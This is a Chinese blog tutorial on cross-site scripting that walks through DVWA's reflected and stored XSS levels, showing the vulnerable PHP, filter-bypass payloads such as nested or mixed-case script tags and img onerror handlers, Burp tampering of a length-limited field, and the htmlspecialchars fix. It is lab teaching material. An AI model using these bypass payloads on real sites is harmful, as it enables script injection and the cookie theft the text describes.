web漏洞 XSS

最新推荐文章于 2024-03-23 11:39:05 发布
最新推荐文章于 2024-03-23 11:39:05 发布
阅读量959 收藏
点赞数
分类专栏： 安全 Web漏洞 文章标签： Xss Web漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ZmeiXuan/article/details/78277083
版权

形成原理

xss 中文名是“跨站脚本攻击”，英文名“Cross Site Scripting”。
xss也是一种注入攻击，当web应用对用户输入过滤不严格，攻击者写入恶意的脚本代码（HTML、JavaScript）到网页中时，如果用户访问了含有恶意代码的页面，恶意脚本就会被浏览器解析执行导致用户被攻击。
常见的危害有

cookie窃取，session劫持，钓鱼攻击，蠕虫，ddos等。

xss的分类

xss根据其特性和利用方式可以分为三大类：反射型xss，存储型xss，DOM型xss

1、反射型xss

反射型xss一般出现在URL参数中及网站搜索栏中，由于需要点击包含恶意代码的URL才可以触发，并且只能触发一次，所以也被称为“非持久性xss”。

2、存储型xss

存储型xss一出现在网站留言板，评论处，个人资料处，等需要用户可以对网站写入数据的地方。

比如一个论坛评论处由于对用户输入过滤不严格，导致攻击者在写入一段窃取cookie的恶意JavaScript代码到评论处，这段恶意代码会写入数据库，当其他用户浏览这个写入代码的页面时，网站从数据库中读取恶意代码显示到网页中被浏览器执行，导致用户cookie被窃取，攻击者无需受害者密码即可登录账户。所以也被称作“持久性xss”。持久性xss比反射型xss危害要大的多。

3、dom型xss

DOM xss是基于dom文档对象模型，前端脚本通过dom动态修改页面，由于不与服务端进行交互，而且代码是可见的，从前端获取dom中的数据在本地执行。

常见的可以操纵dom的对象：URL，localtion,referrer等

案例分析

案例环境：DVWA
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。

包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
官网：http://www.dvwa.co.uk
以下用dvwa中4个漏洞等级Low、Medium、High、Impossible的xss进行举例：

1、反射型xss

①、low

漏洞代码：

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

分析与利用：
直接通过$_GET方式获取name的值，之后未进行任何编码和过滤，导致用户输入一段js脚本会执行。
构造payload：


<script>alert(/xss/)</script>

直接执行代码，如下图：

反射型XSS

②、medium

漏洞代码：

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

分析与利用：

str_replace对输入的<script>标签进行替换为空，这样当在输入上面low等级的payload的时候，就会进行过滤导致代码执行不成功，此时可以多写入一个<script>。
EG：
<scrip<script>t>alert(/xss/)</script>,过滤方法把中间的<script>标签替换为空之后 <scrip 与t>重新组合一个<script>，成功执行代码。<>

也可以构造别的标签 如<img src=0 onerror=alert(/xss1/)>
或者把标签转换大小写的方式进行绕过<scRipt>alert(/xss2/)</sCript>

执行payload之后URL分别变化为：
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscrip%3Cscript%3Et%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D0+onerror%3Dalert%28%2Fxss1%2F%29%3E+#
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3CscRipt%3Ealert%28%2Fxss2%2F%29%3C%2FsCript%3E#

③、high

漏洞代码：

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

分析与利用：
preg_replace执行一个正则表达式的搜索和替换，这时候不论是大小写、双层<script>都无法绕过，此时可以使用别的标签，比如刚刚使用过的<img>，构造payload

<img src=0 onerror=alert(/xss/)>

执行payload之后URL变化为
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D0+onerror%3Dalert%28%2Fxss%2F%29%3E#
④、impossible

安全代码：：

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析：
Htmlspecialchars方法将用户输入的特殊字符转换为 HTML 实体，< > “ ‘ &等字符会被转换，于是不存在xss漏洞。

存储型xss

①、low

漏洞代码：

?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

分析与利用：

分析代码执行流程：首先把用户输入的数据，使用trim去除字符串首尾处的空白字符（或者其他字符）。之后stripslashes方法返回一个去除转义反斜线后的字符串（’ 转换为 ’ 等等），双反斜线（）被转换为单个反斜线（）。
之后mysqli_real_escape_string对字符串特殊符号n r ‘ “ 等进行转义
最终未对用户输入数据进行xss检测编码，直接写入到数据库中，于是造成存储型xss漏洞。

构造利用：

存储型XSS

Message文本框可以直接写入<script>：

这里写图片描述

name字段对输入字符有长度限制，这个可以通过burpsuite抓包改包绕过：（burp使用在此不再赘述，请自行查阅教程）

这里写图片描述
修改txtname字段为payload脚本：

这里写图片描述

成功执行xss脚本：

这里写图片描述

②、medium

漏洞代码：

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

分析与利用：
以上代码我们重点关注两行：

$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

Message由于使用了htmlspecialchars方法对用户输入数据进行编码转换，因此不存在xss漏洞。
但是name由于仅仅用了str_replace方法把<script>替换为空，于是我们有以下三种方法来绕过：
非<script>标签：

<img src=0 onerror=alert(/xss1/)>

大小写转换：

<Script>alert(/xss2/)</sCript>

双重

<sc<script>ript>alert(/xss3/)</script>

由于name字段对长度有限制，使用以上改包抓包方式，依次修改参数值，结果如下：

这里写图片描述

这里写图片描述

这里写图片描述

③、high

漏洞代码：

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

分析与利用：
这里我们重点关注一行代码：

$message = htmlspecialchars( $message );

Message依旧不可绕过

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

preg_replace执行一个正则表达式的搜索和替换，此时可以使用别的标签<img> <a> <iframe>等，比如刚刚使用过的<img>，构造payload ：<img src=0 onerror=alert(/xss/)>，改包替换绕过，成功执行xss代码：

这里写图片描述

④、impossible

安全代码：

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析：
在此name和message都使用了htmlspecialchars方法，于是此处不存在xss漏洞。

申明:
本文借鉴：看雪学院 常规Web漏洞
https://www.kanxue.com/book-6-41.htm

ChengKaoAO
关注
专栏目录
《网络安全自学教程》- XSS漏洞详解
wangyuxiang946的博客
06-02 1万+
一、什么是XSS？ 四、XSS使用步骤 五、XSS攻击类型 六、XSS流量特征 七、XSS的危害 八、XSS的防御
网安系列：第27天：WEB漏洞XSS跨站代码及httponly绕过
最新发布
weixin_54626591的博客
05-16 75
第27天：WEB漏洞XSS跨站代码及httponly绕过
【XSS漏洞-01】XSS漏洞简介、危害与分类及验证
热门推荐
m0_64378913的博客
05-13 2万+
目录1 XSS漏洞简介2 XSS漏洞危害3 XSS漏洞分类3.1 反射型XSS3.2 存储型XSS3.3 DOM型XSS3.3.1 节点树模型3.3.2 DOM型XSS4 漏洞验证4.1 漏洞验证相关概念4.2 漏洞验证相关概念之间的区别4.3 常见POC5 XSS漏洞验证实例5.1 反射型XSS漏洞验证实例5.2 存储型XSS漏洞验证实例5.3 DOM型XSS漏洞验证实例6 总结参考文章 1 XSS漏洞简介 定义/原理：跨站脚本（Cross-Site Scripting），本应该缩写为CSS，但是
java web之xss漏洞修复
qq_35376719的博客
09-29 2448
修复跨站脚本攻击（XSS）漏洞，无需更改项目源码
PHP漏洞全解(四)-xss跨站脚本攻击
拔萝卜的码农
12-07 533
PHP漏洞全解(四)-xss跨站脚本攻击
反射型 XSS
weixin_34120274的博客
10-08 540
反射型XSS科普型paper，大牛略过。--:在Web2.0技术的发展下越来越多的计算工作被放到客户端处理，由于程序员的疏忽，导致了许多的安全漏洞。XSS属于比较常见的一种，在前几年XSS还并不怎么被人重视，但如今，随着XSS漏洞的危害日益增大，如校内和baidu空间前阵子的XSSWORM等等,其危害之大也引起了大家的重视。XSS的类型大体分为三种：反射型XSS、持久型XSS以及DOMXSS，相比...
【DVWA系列】十一、XSS(Reflected) 反射型XSS（源码分析&漏洞利用）
Pluto.的博客
03-12 1188
文章目录DVWAXSS(Reflected) 反射型XSS一、Low 级别二、Medium 级别三、High 级别四、Impossible 级别 DVWA XSS(Reflected) 反射型XSS 一、Low 级别 没有任何的安全防护措施 输入 <script>alert('hack')</script>，直接就执行了我们的 js 代码： 我们的js代码直接插入到了网页源代码中： 源代码： <?php header ("X-XSS-Protection: 0");
web漏洞xss反射型实战挖洞
08-31
Web漏洞中的XSS（Cross-Site Scripting，跨站脚本攻击）是一种常见的安全问题，主要发生在Web应用程序中，允许攻击者注入恶意脚本到网页上，进而影响其他用户。在实战挖洞过程中，通常会采取一系列步骤来发现并利用...
Web漏洞XSS之会话管理
一颗小白菜
12-01 212
会话管理web漏洞XSS之会话管理一，概述二、session管理方式三、cookie管理方式四、token管理方式 web漏洞XSS之会话管理 一，概述 为什么需要会话管理？ HTTP是无状态的，一次请求结束，连接断开； 服务器再次收到请求时，无法识别此次连接用户是哪个用户； 为了需要辨别访问的用户，需要一种记录用户的方式。 会话管理的方式 ①.session； ②cookie； ③token 二、session管理方式 认证过程 ①服务器session是用户第一次访问应用时，服务器就会创建的对
web漏洞之XSS_TEST漏洞实践练习代码
04-25
Web漏洞中的XSS（Cross Site Scripting）攻击是一种常见的安全问题，主要针对Web应用程序。XSS允许攻击者在用户浏览器中注入恶意脚本，从而控制用户的会话、窃取敏感信息或者执行其他恶意操作。本资源"XSS_TEST漏洞...
Web应用进行XSS漏洞测试
03-03
对WEB应用进行XSS漏洞测试，不能仅仅局限于在WEB页面输入XSS攻击字段，然后提交。绕过JavaScript的检测，输入XSS脚本，通常被测试人员忽略。下图为XSS恶意输入绕过JavaScript检测的攻击路径。XSS输入通常包含...
Medium 级别反射型 XSS 攻击演示（附链接）
Flag少侠的博客
03-23 719
Medium 级别反射型 XSS 攻击演示（附链接）
XSS跨站脚本攻击漏洞（1）
weixin_51339377的博客
04-05 3405
XSS漏洞介绍： xss攻击的目录就是让前端把我们的攻击代码执行 跨站攻击 全都是前端的 只需要右击查看源代码就可以查看到漏洞了 测试漏洞方式：弹窗测试（测试成功以后具体功能实现的xss代码有很多免费的xss平台 可以直接使用） 弹窗基本代码： <script>alert(1)</script> 在输入框输入代码提交以后如果出现弹窗说明存在xss漏洞。此时提交成功可以右键在网页源代码里面看到自己提交上去的js代码 因为本身存储框，留言板这种就会在...
一些实用的正则表达式（匹配规则）
11-24 3468
javascript 代码过滤：]*>|>)(/s|/n.*)*[^ email格式：([a-z|A-Z|/d][/./w-]*@([/w-]+/.)+/w{2,3})URL网址格式：((https?|ftp|svn):////)?(w{3}|/w{2,})/./w+-?/w+/./w{2,3}.*HTML无效代码过滤：(/s*|[^r][^>]*>)/s*)+该字符串已设定过滤td img di
存储型xss_安全测试之XSS
weixin_39989159的博客
11-29 1667
安全测试之跨站脚本攻击(XSS)前言随着互联网的不断发展，web应用的互动性也越来越强。但正如一个硬币会有两面一样，在用户体验提升的同时安全风险也会跟着有所增加。今天，我们就来讲一讲web渗透中常见的一种攻击方式：XSS攻击。(一)什么是XSS攻击先上一段标准解释(摘自百度百科)。“XSS是跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style ...
存储型xss_WEB安全之XSS（1）
weixin_39653448的博客
12-05 848
大家好，我是阿里斯，一名IT行业小白。由于工作原因停更已经好久，中间虽然也水了俩篇文章，但是个人感觉该继续水下去了，因为收到了不止一位粉丝的监督。那么就从今天开始吧，接下来的主要内容主要围绕xss展开。什么是同源策略同源策略是浏览器的一个安全功能，不同源的客户端脚本在没有明确授权的情况下，不能读写对方资源。所以xyz.com下的js脚本采用javascript读取abc.com里面的文件...
xss之存储型
xu_1234567的博客
11-04 4818
1.存储型xss原理 存储型xss是hacker向服务器注入一段js代码，代码存储到服务器的数据库中，每当用户访问服务器当中带有js代码的数据时，服务器将响应用户，返回给用户一个带有js代码页面 2.xss存储型low级演示 1.将DVWA级别设置为低级 分析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后$message使用mysql_real_escape_string函数转义SQL语句中的特殊字符，使用stripslashes函数过滤掉”\”，对$name参数中使用mysql_re
xss学习 2
weixin_63231007的博客
05-01 236
Dvwa xss部分 xss (Reflected) low 没有过滤，直接<script>alert('xss')</script>即可。 Medium 查看源码可知， $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 对<script>进行了过滤，转化为空。因此可以大小写绕过，或者重写。 可构造： <SCRipt>alert('xss')</SCRipt&..
存储型 XSS 攻击演示（附链接）
Flag少侠的博客
01-23 1590
存储型 XSS 攻击演示（附链接）
WEB漏洞深度剖析：SQL注入与XSS攻击
1. SQL注入：SQL注入是最常见的WEB漏洞之一，通常是由于动态SQL语句的不当拼接导致的。攻击者可以通过输入恶意的SQL代码来获取、修改或删除数据库中的数据。例如，一个简单的注入攻击是利用"admin' or '=' '作为...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值